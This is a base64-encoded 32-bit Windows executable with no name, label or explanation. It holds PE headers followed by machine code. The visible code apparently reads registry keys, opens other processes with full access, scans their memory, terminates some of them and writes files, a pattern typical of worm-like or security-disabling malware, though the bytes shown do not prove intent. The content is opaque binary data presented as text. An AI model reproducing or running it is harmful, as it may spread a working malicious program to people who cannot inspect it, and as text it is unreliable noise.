RE9TIG1vZGUuDQ0KJAAAAAAAAAAYmX3gXPgTs1z4E7Nc+BOzJ+Qfs1j4E7Pf5B2zT/gTs7Tn GbNm+BOzPucAs1X4E7Nc+BKzJfgTs7TnGLNO+BOz5P4Vs134E7NSaWNoXPgTswAAAAAAAAAA UEUAAEwBBAC4jrc8AAAAAAAAAADgAA8BCwEGAADAAAAAkAgAAAAAAFiEAAAAEAAAANAAAAAA QAAAEAAAABAAAAQAAAAAAAAABAAAAAAAAAAAYAkAABAAAAAAAAACAAAAAAAQAAAQAAAAABAA ABAAAAAAAAAQAAAAAAAAAAAAAAAg1gAAZAAAAABQCQAQAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ANAAAOwBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAEq6AAAAEAAAAMAAAAAQ AAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAAAiEAAAANAAAAAgAAAA0AAAAAAAAAAAAAAAAAAA QAAAQC5kYXRhAAAAbF4IAADwAAAAUAAAAPAAAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAABAA AAAAUAkAEAAAAABAAQAAAAAAAAAAAAAAAABAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 